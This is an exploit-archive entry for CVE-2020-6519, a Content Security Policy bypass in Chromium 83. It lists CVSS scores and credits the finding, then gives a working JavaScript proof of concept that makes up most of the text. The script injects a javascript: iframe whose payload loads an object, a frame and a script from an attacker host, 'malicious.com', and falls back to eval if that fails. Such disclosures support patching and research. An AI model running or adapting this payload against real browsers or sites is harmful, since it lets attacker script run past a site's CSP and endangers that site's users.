Chromium 83 CSP Bypass

2020.12.04

Credit: Gal Weizman

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2020-6519

CWE: NVD-CWE-noinfo

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

#Title: Chromium 83 - Full CSP Bypass
#Date: 02/09/2020
#Exploit Author: Gal Weizman
#Vendor Homepage: https://www.chromium.org/ 
#Software Link: https://download-chromium.appspot.com/
#Version: 83
#Tested On: Mac OS, Windows, iPhone, Android
#CVE: CVE-2020-6519

(function(){

		var payload = `
			top.SUCCESS = true;
			var o = document.createElement("object");
			o.data = \`http://malicious.com/bypass-object-src.html\`;
			document.body.appendChild(o);
			var i = document.createElement("iframe");
			i.src = \`http://malicious.com/bypass-child-src.html\`;
			document.body.appendChild(i);
			var s = document.createElement("script");
			s.src = \`http://malicious.com/bypass-script-src.js\`;
			document.body.appendChild(s);
		`;

		document.body.innerHTML+="<iframe id='XXX' src='javascript:" + payload +"'></iframe>";
		setTimeout(() => {
				if (!top.SUCCESS) {
						XXX.contentWindow.eval(payload);
				}
		});

}())

// further information: https://github.com/weizman/CVE-2020-6519

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Chromium 83 CSP Bypass

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